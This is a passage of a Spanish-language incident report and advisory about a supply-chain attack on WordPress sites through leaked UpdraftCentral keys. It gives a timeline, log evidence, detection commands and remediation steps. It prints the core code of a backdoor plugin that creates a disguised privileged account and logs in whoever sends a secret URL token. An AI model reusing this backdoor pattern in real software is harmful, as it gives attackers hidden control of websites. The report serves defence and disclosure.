Soluci\u00f3n temporal<\/strong><\/td>\n| eliminar la conexi\u00f3n con UpdraftCentral, revisar la web con nuestro script, cambiar la contrase\u00f1a de teamupdraft.com y, opcionalmente, bloquear las \u00f3rdenes de UpdraftCentral con un peque\u00f1o mu-plugin (ver abajo). No hace falta desinstalar UpdraftPlus; las copias de seguridad siguen funcionando.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n La noche del 19 de octubre de 2026 un atacante desde la direcci\u00f3n IP 43.250.53.42<\/code> envi\u00f3 a trav\u00e9s del servicio UpdraftCentral la orden plugin.upload_plugin<\/code> a tres de nuestras webs con WordPress. UpdraftCentral es un servicio de gesti\u00f3n remota de webs de TeamUpdraft, y su cliente est\u00e1 integrado en cada copia del plugin UpdraftPlus. En dos de nuestras webs la orden se ejecut\u00f3 y WordPress instal\u00f3 y activ\u00f3 un plugin desconocido. En la tercera fall\u00f3 por falta de permisos.<\/p>\nEl fallo no estaba de nuestro lado. Las tres webs ten\u00edan WordPress 7.1.3 y UpdraftPlus 2.26.11 actualizados, este \u00faltimo corregido contra la vulnerabilidad de junio CVE-2026-10795. El atacante no entr\u00f3 en nuestros servidores ni aprovech\u00f3 ning\u00fan error de nuestra configuraci\u00f3n. Lleg\u00f3 por el canal de gesti\u00f3n remota de UpdraftCentral y firm\u00f3 sus \u00f3rdenes con claves privadas v\u00e1lidas del panel. Esas claves las genera y custodia el servicio UpdraftCentral Cloud y nunca han estado en nuestros servidores. Quien las tenga puede instalar y ejecutar cualquier c\u00f3digo en cada web conectada sin que su propietario lo sepa. Por eso lo consideramos un problema de seguridad cr\u00edtico del servicio UpdraftCentral.<\/p>\n Qui\u00e9n est\u00e1 en riesgo:<\/strong> toda web con UpdraftPlus, gratuito o premium, que est\u00e9 conectada a UpdraftCentral, es decir, que tenga una clave de UpdraftCentral. Cada una de las m\u00e1s de 4 millones de instalaciones de UpdraftPlus contiene el cliente de UpdraftCentral. Las webs que no est\u00e1n conectadas a UpdraftCentral no corren riesgo por este ataque, porque sin clave no aceptan \u00f3rdenes de UpdraftCentral. Nuestras webs estaban conectadas a UpdraftCentral Cloud, el panel que opera TeamUpdraft. Seg\u00fan el fabricante, los paneles de UpdraftCentral alojados en servidor propio no est\u00e1n afectados. Tambi\u00e9n se filtraron las claves de UpdraftVault y UpdraftClone, que el fabricante ya ha sustituido. La clave puede haberse creado sin que el propietario lo supiera: al iniciar sesi\u00f3n con la cuenta de teamupdraft.com en la pesta\u00f1a Premium \/ Extensions, tanto la versi\u00f3n gratuita como la premium ofrecen la casilla \u00abAdd this website to UpdraftCentral\u00bb, marcada por defecto mientras la web no tenga ninguna clave (lo comprobamos en el c\u00f3digo de las versiones 2.26.11 y 1.26.13). Instalar el plugin no crea por s\u00ed solo ninguna clave; la crea iniciar sesi\u00f3n con una cuenta de teamupdraft.com dentro del plugin. Por eso afecta sobre todo a las webs premium, cuyo propietario inicia sesi\u00f3n para la licencia y las actualizaciones, y a las webs gratuitas que se conectaron alguna vez a una cuenta.<\/p>\nNo se trata de la vulnerabilidad CVE-2026-10795, sobre la que Wordfence escribi\u00f3 en junio: nuestras webs estaban corregidas y los intentos de explotarla en ellas fallaban.<\/p>\n El plugin es una puerta trasera. Con un enlace secreto deb\u00eda crear una cuenta con permisos de administrador camuflados e iniciar sesi\u00f3n del atacante directamente en ella. Su autor cometi\u00f3 un error en el c\u00f3digo, as\u00ed que en nuestras webs la puerta trasera nunca funcion\u00f3. En su lugar hizo fallar cada petici\u00f3n a la web que no se serv\u00eda desde la cach\u00e9, y WordPress nos avis\u00f3 por correo. As\u00ed la encontramos en cuesti\u00f3n de minutos a horas. Otros administradores, sin embargo, ya han encontrado variantes funcionales, que describimos m\u00e1s abajo.<\/p>\n Comunicamos el incidente a TeamUpdraft el 19 de octubre y les pedimos que expliquen c\u00f3mo llegaron las claves al atacante.<\/p>\n Si su web est\u00e1 conectada a UpdraftCentral, consid\u00e9rela potencialmente comprometida hasta haberla revisado.<\/strong> Elimine la conexi\u00f3n de inmediato y revise la web como se describe abajo. A 19 de octubre de 2026 no encontramos ninguna menci\u00f3n p\u00fablica de esta puerta trasera ni de un ataque similar posterior a la correcci\u00f3n de junio.<\/p>\nQu\u00e9 hacer ahora mismo<\/h2>\n1. Elimine la conexi\u00f3n con UpdraftCentral<\/h3>\nActualice UpdraftPlus a la versi\u00f3n 1.26.13 (gratuita) o 2.26.13 (premium) o posterior. Esta borra por s\u00ed sola las claves de UpdraftCentral Cloud creadas antes de las 14:07 CEST del 18\/10\/2026. La versi\u00f3n 1.26.12 \/ 2.26.12 no las borra. Despu\u00e9s compruebe de todos modos que no quede ninguna clave en la web:<\/p>\n En el administrador de WordPress abra Ajustes \u2192 UpdraftPlus Backups \u2192 pesta\u00f1a \u00abAdvanced Tools\u00bb \u2192 \u00abUpdraftCentral\u00bb. Haga clic en \u00abManage existing keys (N)\u2026\u00bb y luego en \u00abDelete\u2026\u00bb junto a cada clave. Si no aparece ninguna clave, la web no est\u00e1 conectada.<\/p>\n Con acceso a la l\u00ednea de comandos, lo mismo se hace con esta orden en el directorio ra\u00edz de WordPress:<\/p>\n wp option delete updraft_central_localkeys<\/code><\/pre>\nDespu\u00e9s elimine tambi\u00e9n la web del panel de UpdraftCentral (teamupdraft.com \u2192 My account \u2192 UpdraftCentral \u2192 \u2022\u2022\u2022 junto a la web \u2192 Remove site). Eliminarla solo del panel no basta. El atacante tiene la clave privada del panel, as\u00ed que lo decisivo es borrar la clave en la web.<\/p>\n Seg\u00fan el fabricante, puede volver a conectar la web despu\u00e9s de borrar la clave, revisarla y cambiar las contrase\u00f1as de los administradores. Antes, cambie la contrase\u00f1a de su cuenta de teamupdraft.com (escriba usted mismo la direcci\u00f3n en el navegador, no siga enlaces de correos), cambie esa misma contrase\u00f1a donde la haya reutilizado y vuelva a configurar la autenticaci\u00f3n en dos pasos. Si instal\u00f3 nuestro mu-plugin de bloqueo, elim\u00ednelo antes de volver a conectar. Quien use UpdraftVault debe volver a conectar sus webs con las nuevas credenciales.<\/p>\n Si la web tiene tambi\u00e9n claves de UpdraftPlus Migrator (pesta\u00f1a \u00abMigrate \/ Clone\u00bb) y no est\u00e1 migrando ahora mismo, b\u00f3rrelas tambi\u00e9n, por ejemplo con wp option delete updraft_migrator_localkeys<\/code>. Usan el mismo canal y permiten a otra web enviar archivos de copia de seguridad a la suya. Hasta ahora no hemos visto que se abusara de ellas.<\/p>\nUpdraftPlus Premium guarda la contrase\u00f1a de la cuenta de teamupdraft.com en la base de datos tal como la introduce (opci\u00f3n updraftplus-addons_options<\/code>) y solo la borra tras un inicio de sesi\u00f3n correcto mediante token. Por eso puede quedarse en la base de datos y en sus copias de seguridad. En la pr\u00e1ctica suele quedarse para siempre. Un lector la encontr\u00f3 en sus tres webs con la versi\u00f3n premium y en copias de seguridad desde 2022, y comprob\u00f3 que una simple conexi\u00f3n con la cuenta en la pesta\u00f1a Premium \/ Extensions la guarda. Nosotros la encontramos en una de nuestras tres webs. El fabricante dice que la contrase\u00f1a se borra tras la primera conexi\u00f3n, pero el c\u00f3digo solo la borra despu\u00e9s de reclamar con \u00e9xito los complementos mediante el token. Puede eliminarla con la orden siguiente; las actualizaciones del plugin no la necesitan. Despu\u00e9s cambie la contrase\u00f1a de la cuenta. Si vuelve a iniciar sesi\u00f3n en la cuenta desde el plugin, desmarque la casilla \u00abAdd this website to UpdraftCentral\u00bb. En las muestras de esta campa\u00f1a analizadas hasta ahora no hemos encontrado c\u00f3digo que lea esta contrase\u00f1a, pero cualquier puerta trasera funcional o plugin subido puede leerla.<\/p>\nwp eval '$o = get_option("updraftplus-addons_options"); if (is_array($o)) { unset($o["password"]); update_option("updraftplus-addons_options", $o); }'<\/code><\/pre>\n2. Compruebe si la puerta trasera est\u00e1 en su web<\/h3>\nSin l\u00ednea de comandos:<\/p>\n \n- En la misma pantalla de UpdraftCentral haga clic en \u00abView recent UpdraftCentral log events\u2026\u00bb. Busque las l\u00edneas \u00abCommand received: plugin.upload_plugin\u00bb, \u00abCommand received: plugin.delete_plugin\u00bb y \u00abprobe.central.updraftplus.com\u00bb. Si la web est\u00e1 detr\u00e1s de un proxy como Cloudflare, el registro muestra la IP del proxy, no la del atacante. Las l\u00edneas \u00abSignature verification failed; discarding\u00bb significan que el atacante lo intent\u00f3, pero su clave no coincid\u00eda con la web y la web descart\u00f3 la orden.<\/li>\n
- En la lista de plugins busque uno que usted no haya instalado. La primera variante tiene la descripci\u00f3n \u00abSmall maintenance toolkit: keeps option storage tidy.\u00bb y un nombre de dos palabras, normalmente seguido de tres caracteres, por ejemplo \u00abLoad Stack 35C\u00bb o \u00abQuery Shelf\u00bb. Las dem\u00e1s variantes cambian de nombre y descripci\u00f3n cada vez, por ejemplo \u00abBoost Kit\u00bb, \u00abCache Smith\u00bb o \u00abSite Health 364F\u00bb. Sin embargo, algunas variantes se ocultan de la lista de plugins, as\u00ed que mirarla no basta.<\/li>\n
- En la lista de usuarios busque una cuenta llamada \u00abSite Tools\u00bb o con un correo en
@example.org<\/code> o @example.com<\/code>. La variante funcional crea un administrador e intenta ocultarlo, pero aparece en la lista con normalidad.<\/li>\n- Si una puerta trasera inicia la sesi\u00f3n del atacante como un administrador existente, no crea ninguna cuenta. Entonces solo la delatan el plugin y el registro de accesos, as\u00ed que revise la web tambi\u00e9n con el script y mire el registro de accesos.<\/li>\n<\/ul>\n
Si la primera variante de la puerta trasera est\u00e1 en la web, puede que el administrador no funcione, porque el plugin hace fallar cada petici\u00f3n. En ese caso use la l\u00ednea de comandos.<\/p>\n Con l\u00ednea de comandos, guarde nuestro script de comprobaci\u00f3n del final del art\u00edculo como check-updraftcentral.php<\/code> en el directorio ra\u00edz de WordPress y ejecute:<\/p>\nwp eval-file check-updraftcentral.php --skip-plugins --skip-themes<\/code><\/pre>\nEl script solo lee y no cambia nada. La opci\u00f3n --skip-plugins<\/code> es importante, porque una puerta trasera instalada har\u00eda fallar tambi\u00e9n WP-CLI. Las l\u00edneas [ALERT]<\/code> son rastros del ataque, [WARN]<\/code> indica algo que revisar y [OK]<\/code> es un resultado limpio. Que una orden aparezca en el registro no significa todav\u00eda que el plugin se instalara (en una de nuestras webs no se instal\u00f3), por eso el script revisa tambi\u00e9n archivos, opciones de la base de datos y cuentas. Si informa de algo con [ALERT]<\/code>, siga en la secci\u00f3n \u00abQu\u00e9 hacer si la encuentra\u00bb.<\/p>\nUpdraftPlus solo guarda los \u00faltimos 50 eventos en el registro de UpdraftCentral. En una web que visitan a menudo los esc\u00e1neres, el rastro del ataque puede desaparecer del registro y entonces el script da [OK]<\/code> para el registro. Si tiene acceso a los registros del servidor web, rev\u00edselos tambi\u00e9n (ajuste la ruta a su servidor; con nginx, por ejemplo, \/var\/log\/nginx\/<\/code>):<\/p>\ngrep 'class-udrpc.php"' \/var\/log\/apache2\/*access*<\/code><\/pre>\nLa orden encuentra peticiones de UpdraftCentral sin versi\u00f3n de la biblioteca en la cabecera User-Agent, como las que envi\u00f3 el atacante. El panel real env\u00eda class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code>, as\u00ed que la orden no lo detecta.<\/p>\nLa variante funcional de la puerta trasera puede no dejar ning\u00fan rastro en la base de datos: sin el par\u00e1metro m<\/code> inicia la sesi\u00f3n del atacante como un administrador existente. Por eso busque tambi\u00e9n en el registro de accesos peticiones a los disparadores de ambas variantes:<\/p>\nzgrep -E '[?&](_[0-9a-f]{6}|[0-9a-f]{12})=[^&" ]{32}[& ]' \/var\/log\/apache2\/*access*<\/code><\/pre>\nRevise cada l\u00ednea que encuentre. El estado 302 indica una redirecci\u00f3n al administrador, es decir, probablemente un inicio de sesi\u00f3n del atacante. El estado 500 indica que la variante defectuosa sigue en la web. El estado 200 con el tama\u00f1o normal de la p\u00e1gina indica que la puerta trasera ya no est\u00e1. zgrep<\/code> revisa tambi\u00e9n los registros antiguos comprimidos.<\/p>\n3. Opcional: bloquee por completo las \u00f3rdenes de UpdraftCentral<\/h3>\nPara estar seguro de que la web no ejecuta ninguna orden de UpdraftCentral aunque quede una clave en ella, guarde en el directorio wp-content\/mu-plugins\/<\/code> un archivo block-updraftcentral.php<\/code> con este contenido:<\/p>\n<?php\n\/\/ Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.\nif ( isset( $_POST['udrpc_message'] ) ) {\n\thttp_response_code( 403 );\n\texit;\n}<\/code><\/pre>\nWordPress carga los archivos de mu-plugins<\/code> antes que los plugins normales, as\u00ed que la petici\u00f3n se detiene antes de que UpdraftPlus la procese. Tambi\u00e9n bloquea la migraci\u00f3n de webs con UpdraftPlus Migrator, que usa el mismo canal. Borre el archivo cuando el fabricante haya explicado y resuelto el problema.<\/p>\nOtra protecci\u00f3n barata: si PHP no puede escribir en wp-content\/plugins<\/code> (por ejemplo, otro propietario de la carpeta y permisos 750), la web acepta la orden firmada pero la instalaci\u00f3n del plugin falla. En una de las webs atacadas esto detuvo el ataque. Los plugins habr\u00e1 que actualizarlos de otra forma, por ejemplo con WP-CLI como propietario de la carpeta.<\/p>\nSi usa Wordfence, actualice las reglas del cortafuegos (Wordfence \u2192 Firewall \u2192 All Firewall Options \u2192 Manually Refresh Rules). Wordfence ha publicado una regla que bloquea las \u00f3rdenes de UpdraftCentral, tambi\u00e9n para la versi\u00f3n gratuita. Sin embargo, la regla solo se aplica a UpdraftPlus hasta la 1.26.11 y anteriores a la 2.26.12, as\u00ed que ya no protege una web actualizada a la 1.26.12 \/ 2.26.12, aunque esas versiones no borran las claves. Actualice directamente a la 1.26.13 \/ 2.26.13.<\/p>\n C\u00f3mo lo descubrimos<\/h2>\nA las 5:38 recibimos un correo autom\u00e1tico de WordPress: \u00abWordPress caught an error with one of your plugins, Load Stack 35C.\u00bb Nunca hab\u00edamos instalado un plugin con ese nombre. El mensaje de error dec\u00eda Uncaught Error: Undefined constant LoadStack35c::FIELD<\/code>, y desde las 4:14 nuestra web respond\u00eda a cada petici\u00f3n con un error 500.<\/p>\nTodos los archivos de la carpeta wp-content\/plugins\/load-stack-35c\/<\/code> ten\u00edan la misma hora de modificaci\u00f3n, 4:14:30. Un segundo despu\u00e9s cambi\u00f3 la carpeta wp-content\/upgrade\/<\/code>, que WordPress usa para descomprimir los plugins que instala. El plugin lleg\u00f3, por tanto, a trav\u00e9s del instalador est\u00e1ndar de WordPress y no como un archivo copiado al disco. En ese mismo segundo el registro de accesos contiene una \u00fanica petici\u00f3n:<\/p>\n43.250.53.42 - - [19\/Oct\/2026:04:14:30 +0200] "POST \/ HTTP\/1.1" 200 8454 "-" "WordPress\/6.4; class-udrpc.php"<\/code><\/pre>\nclass-udrpc.php<\/code> es la biblioteca con la que UpdraftPlus recibe \u00f3rdenes de UpdraftCentral. Su propio registro (la opci\u00f3n de base de datos updraftcentral_client_log<\/code>) lo confirm\u00f3: Command received: plugin.upload_plugin<\/code>.<\/p>\nCronolog\u00eda<\/h2>\nLlamamos a las webs A, B y C. Todas las horas en CEST. Todas las peticiones llegaron desde 43.250.53.42<\/code> (proveedor RedSwitches) con la cabecera User-Agent WordPress\/6.4; class-udrpc.php<\/code>.<\/p>\n\n\n\n\n| Web C<\/td>\n | 19\/10 0:41:32<\/td>\n | 6:05:31<\/td>\n | fallida, la clave pertenec\u00eda a un usuario sin permiso para instalar plugins<\/td>\n<\/tr>\n | \n| Web A<\/td>\n | 2:14:05<\/td>\n | 4:14:30<\/td>\n | puerta trasera \u00abLoad Stack 35C\u00bb activa, web ca\u00edda hasta las 6:13<\/td>\n<\/tr>\n | \n| Web B<\/td>\n | 2:39:44<\/td>\n | 6:53:49<\/td>\n | puerta trasera \u00abText Gantry Eb0\u00bb activa, eliminada a las 6:56<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n El sondeo es un mensaje dirigido a una clave inexistente, probe.central.updraftplus.com<\/code>. La web responde que no entiende el mensaje y con ello revela que acepta \u00f3rdenes de UpdraftCentral. La siguiente orden el atacante ya la envi\u00f3 a la clave real 0.central.updraftplus.com<\/code>. En las tres webs el ataque transcurri\u00f3 igual, por el mismo atacante, con pocas horas de diferencia.<\/p>\nOtro administrador nos envi\u00f3 registros seg\u00fan los cuales la misma IP 43.250.53.42<\/code> prob\u00f3 otros ataques en dos de sus webs ya el 23 de septiembre de 2026: una consulta a la API REST con la lista de p\u00e1ginas y unos diez intentos de path traversal en el par\u00e1metro pagename<\/code>. El atacante estuvo explorando estas webs casi un mes antes del ataque a trav\u00e9s de UpdraftCentral.<\/p>\nEl atacante volvi\u00f3. El 19 de octubre llegaron m\u00e1s peticiones de UpdraftCentral a la web A a las 10:57:48, a la web B a las 11:14:19 y a la web C a las 12:03:14, siempre dos en el mismo segundo, y a la web C otra m\u00e1s a las 20:27:50. Nuestro mu-plugin ya las detuvo todas con un 403, as\u00ed que no sabemos qu\u00e9 conten\u00edan. Otro administrador nos envi\u00f3 su registro de UpdraftCentral, en el que el atacante envi\u00f3 plugin.delete_plugin<\/code> a las 12:22:48 y un nuevo plugin.upload_plugin<\/code> a las 12:22:50, sustituyendo la puerta trasera defectuosa por otra. Nuestros pares de peticiones probablemente corresponden al mismo tipo de cambio. UpdraftPlus escribe en el registro de UpdraftCentral cada orden que supera la comprobaci\u00f3n de la firma como \u00abCommand received\u00bb antes de ejecutarla (lo comprobamos en el c\u00f3digo de la versi\u00f3n 2.26.11). Pero el registro solo guarda los \u00faltimos 50 eventos, y las peticiones detenidas por el mu-plugin no aparecen en \u00e9l.<\/p>\nEn la web de otro administrador, el atacante envi\u00f3 el sondeo el 18\/10 a las 23:10:30 CEST y despu\u00e9s subi\u00f3 tres puertas traseras distintas: a las 23:39:52 la m\u00ednima oculta \u00abSite Health Cache\u00bb, a las 0:34:34 la funcional \u00abFast2engine\u00bb y el 19\/10 a las 9:28:47 la defectuosa \u00abPost Dock 776\u00bb. Un par de peticiones a las 11:40:45 y 11:40:46 fall\u00f3 all\u00ed con un error 500, porque la puerta trasera defectuosa ya hac\u00eda caer toda la web. As\u00ed que el atacante no siempre env\u00eda primero la variante defectuosa, y una misma web puede recibir varias puertas traseras.<\/p>\n C\u00f3mo funcion\u00f3 el ataque<\/h2>\nAl conectar una web a UpdraftCentral, la web genera un par de claves RSA y env\u00eda la clave p\u00fablica al servicio UpdraftCentral Cloud. El servicio tiene su propio par de claves y env\u00eda a la web solo su clave p\u00fablica. La clave privada del panel se queda en el servicio. Cada orden debe ir cifrada para la clave de la web y firmada con la clave privada del panel. La web la ejecuta entonces con los permisos del usuario que cre\u00f3 la clave en WordPress.<\/p>\n La orden plugin.upload_plugin<\/code> super\u00f3 toda esta comprobaci\u00f3n en dos webs. Analizamos la web A en detalle y descartamos estas explicaciones:<\/p>\n\n- La vulnerabilidad conocida CVE-2026-10795.<\/strong> Afecta a UpdraftPlus hasta la 1.26.4 (premium hasta la 2.26.4). Nuestras webs ten\u00edan la 2.26.11. Vemos intentos de explotarla en los registros de las webs B y C desde junio, desde decenas de direcciones IP, y todos terminaron con \u00abCould not decrypt incoming message\u00bb.<\/li>\n
- Un plugin modificado.<\/strong> Los archivos
class-udrpc2.php<\/code>, central\/bootstrap.php<\/code>, central\/listener.php<\/code> y central\/host.php<\/code> son id\u00e9nticos byte a byte a la versi\u00f3n oficial 1.26.11 de wordpress.org.<\/li>\n- El formato antiguo de mensajes sin firma.<\/strong> El c\u00f3digo lo rechaza para las claves de UpdraftCentral, y la entrada \u00abCommand received\u00bb solo se escribe despu\u00e9s de esa comprobaci\u00f3n.<\/li>\n
- Una clave del panel sustituida.<\/strong> Las huellas de las claves son las mismas en las copias diarias del 15 al 18 de octubre y en la base de datos en producci\u00f3n, y en los registros de acceso nadie llam\u00f3 a la funci\u00f3n de intercambio de claves.<\/li>\n
- Criptograf\u00eda d\u00e9bil.<\/strong> Tanto la clave de la web como la del panel son RSA de 2048 bits con exponente 65537, y UpdraftPlus incluye phpseclib 2.0.55, que tiene corregido el conocido fallo de verificaci\u00f3n de firmas.<\/li>\n
- Un wp-admin comprometido.<\/strong> No aparecieron administradores desconocidos, las sumas de comprobaci\u00f3n del n\u00facleo y de los plugins coinciden y los registros no muestran ninguna subida de plugin desde el administrador.<\/li>\n<\/ol>\n
El atacante ten\u00eda, por tanto, las claves privadas del panel de las tres conexiones a la vez. Esas claves nunca han estado en nuestros servidores, as\u00ed que no pudieron filtrarse desde ah\u00ed. Las \u00f3rdenes tampoco llegaron desde un servidor de TeamUpdraft. El panel real envi\u00f3 \u00f3rdenes a la web B en marzo y abril de 2026 con esta cabecera User-Agent:<\/p>\n WordPress\/6.8.5; class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code><\/pre>\nEl atacante enviaba WordPress\/6.4; class-udrpc.php<\/code>, sin versi\u00f3n de la biblioteca y sin URL, desde su propio servidor. Las claves se filtraron, por tanto, del entorno de UpdraftCentral Cloud y el atacante las us\u00f3 fuera de \u00e9l.<\/p>\nEl 19 de octubre TeamUpdraft confirm\u00f3 que durante el fin de semana del 17 y 18 de octubre un atacante tuvo acceso a teamupdraft.com y probablemente a la base de datos de clientes, incluidas las claves de UpdraftCentral. Las claves se filtraron, por tanto, de la infraestructura del fabricante. La cronolog\u00eda encaja: las claves de las webs B y C exist\u00edan desde noviembre de 2025 y el atacante no las us\u00f3 hasta la noche del 18 al 19 de octubre, justo despu\u00e9s de la intrusi\u00f3n. El fabricante no ha explicado c\u00f3mo entr\u00f3 el atacante en teamupdraft.com.<\/p>\n En la web C el ataque fall\u00f3 por casualidad. All\u00ed la clave la cre\u00f3 en noviembre de 2025 un usuario que ya no es administrador. Antes de instalar, UpdraftCentral comprueba si el propietario de la clave tiene los permisos install_plugins<\/code> y activate_plugins<\/code>. No ten\u00eda ninguno de los dos.<\/p>\nPor qu\u00e9 es un problema cr\u00edtico de UpdraftCentral<\/h2>\nEl cliente de UpdraftCentral forma parte de cada copia de UpdraftPlus, gratuita y premium. Se activa cuando el propietario conecta la web al panel. A partir de ah\u00ed la web ejecuta cada orden firmada con la clave del panel con los permisos del administrador que cre\u00f3 la conexi\u00f3n, incluida la subida y activaci\u00f3n de cualquier plugin. El propietario de la web no confirma la orden y, en nuestro caso, nada nos avis\u00f3. Las claves del lado de la web no caducan: las de noviembre de 2025 segu\u00edan funcionando en octubre de 2026, y otro administrador informa de claves de febrero y marzo de 2022 que fueron usadas. La antig\u00fcedad de una clave no la protege. Tambi\u00e9n se us\u00f3 la clave de la web A, creada el 10\/10\/2026. Otro administrador observ\u00f3 que el atacante dej\u00f3 en paz una copia de pruebas de una web con la misma clave pero otra direcci\u00f3n. Al parecer, el atacante trabajaba con la lista de webs que solo tiene UpdraftCentral.<\/p>\n La seguridad de todas las webs conectadas depende as\u00ed de una \u00fanica suposici\u00f3n: que las claves privadas del panel no se filtren. Se filtraron, y el atacante, desde un solo punto y en pocas horas, tom\u00f3 el control de dos webs e intent\u00f3 una tercera. UpdraftPlus tiene m\u00e1s de 4 millones de instalaciones activas. Entre los plugins de copias de seguridad de wordpress.org solo All-in-One WP Migration (m\u00e1s de 5 millones) tiene m\u00e1s instalaciones, y es sobre todo una herramienta de migraci\u00f3n. Solo una parte de los usuarios de UpdraftPlus usa UpdraftCentral, pero incluso una peque\u00f1a parte de 4 millones son muchas webs.<\/p>\n El mismo canal ya fall\u00f3 antes. En junio de 2026 el fabricante corrigi\u00f3 la vulnerabilidad CVE-2026-10795 (CVSS 8.1), con la que un atacante pod\u00eda falsificar \u00f3rdenes de UpdraftCentral sin iniciar sesi\u00f3n e instalar y activar un plugin malicioso. Seguimos registrando intentos de explotarla.<\/p>\n Qu\u00e9 hace exactamente la puerta trasera<\/h2>\nEl plugin tiene cinco archivos, pero solo el principal contiene l\u00f3gica. Esta es la parte relevante de la muestra de la web A. Hemos acortado el token y la contrase\u00f1a:<\/p>\n define( 'LOADSTACK35C_TOKEN', 'j0j8nxxH\u2026' ); \/\/ 32 caracteres\ndefine( 'LOADSTACK35C_FIELD', '_9f5696' );\ndefine( 'LOADSTACK35C_SVC_LOGIN', 'data-ops43' );\ndefine( 'LOADSTACK35C_SVC_PASS', 'L7sfkZMw\u2026' ); \/\/ 22 caracteres\n\nfinal class LoadStack35c {\n\tprivate function __construct() {\n\t\tadd_action( 'init', array( $this, 'handle_sync' ), 1 );\n\t}\n\n\tpublic function handle_sync() {\n\t\tif ( isset( $_GET[ self::FIELD ] ) && hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {\n\t\t\t$user = get_user_by( 'login', self::SVC_LOGIN );\n\t\t\tif ( ! $user ) {\n\t\t\t\t$uid = wp_insert_user( array(\n\t\t\t\t\t'user_login' => self::SVC_LOGIN,\n\t\t\t\t\t'user_pass' => self::SVC_PASS,\n\t\t\t\t\t'user_email' => self::SVC_LOGIN . '@example.org',\n\t\t\t\t\t'display_name' => 'Site Tools',\n\t\t\t\t\t'role' => 'editor',\n\t\t\t\t) );\n\t\t\t\tif ( is_wp_error( $uid ) ) return;\n\t\t\t\t$u = new WP_User( $uid );\n\t\t\t\t$u->add_cap( 'manage_options' );\n\t\t\t\t$u->add_cap( 'install_plugins' );\n\t\t\t\t$user = get_user_by( 'id', $uid );\n\t\t\t}\n\t\t\twp_set_current_user( $user->ID, $user->user_login );\n\t\t\twp_set_auth_cookie( $user->ID, true, is_ssl() );\n\t\t\twp_safe_redirect( admin_url( 'index.php' ) );\n\t\t\texit;\n\t\t}\n\t}\n}\n\nregister_activation_hook( __FILE__, function () {\n\tif ( ! get_option( 'load_stack_35c_sync_token' ) ) {\n\t\tupdate_option( 'load_stack_35c_sync_token', 'j0j8nxxH\u2026', false );\n\t}\n} );\n\nLoadStack35c::instance();<\/code><\/pre>\nAs\u00ed funcionar\u00eda si no tuviera un error:<\/p>\n \n- En cada petici\u00f3n a la web se engancha a la acci\u00f3n
init<\/code> con prioridad 1, antes que la mayor\u00eda de los dem\u00e1s plugins.<\/li>\n- Comprueba si la URL contiene el par\u00e1metro
?_9f5696=<\/code> y compara su valor con un token de 32 caracteres. Compara con hash_equals<\/code>, que tarda lo mismo coincidan o no los valores, de modo que el token no se puede adivinar midiendo los tiempos de respuesta. Sin el token correcto no ocurre nada y la web se comporta con normalidad.<\/li>\n- Con el token correcto crea el usuario
data-ops43<\/code> con una contrase\u00f1a fijada en el plugin, el correo data-ops43@example.org<\/code> y el nombre visible \u00abSite Tools\u00bb.<\/li>\n- Le asigna el rol Editor y adem\u00e1s dos capacidades sueltas:
manage_options<\/code> e install_plugins<\/code>.<\/li>\n- Inicia la sesi\u00f3n del visitante como ese usuario mediante
wp_set_auth_cookie<\/code> con \u00abrecordarme\u00bb, es decir, con una cookie v\u00e1lida 14 d\u00edas. As\u00ed se salta por completo el formulario de acceso, por lo que no act\u00faan ni la autenticaci\u00f3n en dos pasos, ni el l\u00edmite de intentos, ni la protecci\u00f3n de acceso de Wordfence.<\/li>\n- Lo redirige al administrador.<\/li>\n<\/ol>\n
El rol Editor con dos capacidades extra es intencionado. En la lista de usuarios la cuenta aparece como Editor, no como Administrador, as\u00ed que en una revisi\u00f3n normal de administradores pasa desapercibida. En la pr\u00e1ctica tiene control total de la web:<\/p>\n \ninstall_plugins<\/code> permite subir cualquier plugin. Sus archivos PHP se pueden ejecutar directamente por URL incluso sin activarlo, lo que equivale a ejecutar cualquier c\u00f3digo en el servidor.<\/li>\nmanage_options<\/code> da acceso a todos los ajustes. Basta con activar el registro y poner administrador como rol por defecto para que el atacante se cree un administrador completo.<\/li>\n- En un WordPress normal un Editor tiene tambi\u00e9n
unfiltered_html<\/code>, as\u00ed que puede insertar en las entradas JavaScript que se ejecuta en el navegador de cada administrador.<\/li>\n<\/ul>\nLa puerta trasera tiene adem\u00e1s una segunda capa. La cuenta creada, con una contrase\u00f1a conocida, sigue en WordPress incluso despu\u00e9s de eliminar el plugin, y el atacante puede entrar con ella por el formulario normal si esa cuenta no tiene activada la autenticaci\u00f3n en dos pasos.<\/p>\n El error que nos salv\u00f3<\/h3>\nLas constantes se definen con define()<\/code> como constantes globales (LOADSTACK35C_FIELD<\/code>), pero el c\u00f3digo las lee como constantes de clase (self::FIELD<\/code>). La clase no tiene constantes. Por eso PHP 8 lanza Error: Undefined constant LoadStack35c::FIELD<\/code> la primera vez que eval\u00faa self::FIELD<\/code>. Ocurre antes de comprobar el token, es decir, en cada petici\u00f3n: visitas normales, administrador, inicio de sesi\u00f3n, API REST, cron y WP-CLI. La web cae con error 500 y solo sirve p\u00e1ginas desde la cach\u00e9.<\/p>\nLa petici\u00f3n de instalaci\u00f3n, en cambio, termin\u00f3 bien. UpdraftCentral procesa las \u00f3rdenes en la acci\u00f3n wp_loaded<\/code>, que llega despu\u00e9s de init<\/code>, as\u00ed que en esa petici\u00f3n el c\u00f3digo defectuoso no se ejecut\u00f3. El atacante recibi\u00f3 una confirmaci\u00f3n de \u00e9xito y no supo nada del error por la respuesta. Solo fallaron las peticiones siguientes.<\/p>\nAl atacante le basta con corregir unos pocos caracteres para que la pr\u00f3xima oleada funcione. Si encuentra un plugin \u00abroto\u00bb parecido, no lo arregle.<\/strong> Arreglarlo activar\u00eda la puerta trasera. Elim\u00ednelo.<\/p>\nM\u00e1s detalles<\/h3>\n\n- El plugin se hace pasar por un complemento corriente: tiene una cabecera completa, licencia GPL,
Text Domain<\/code>, la descripci\u00f3n \u00abSmall maintenance toolkit: keeps option storage tidy.\u00bb y un editor inventado (\u00abPixelBinder\u00bb, \u00abHarbor Stack Labs\u00bb).<\/li>\n- Los archivos
assets\/public.css<\/code>, assets\/public.js<\/code> y languages\/readme.txt<\/code> solo contienen un comentario. El plugin no los usa; est\u00e1n ah\u00ed para que la carpeta parezca un plugin real.<\/li>\n- Al desinstalarlo desde el administrador,
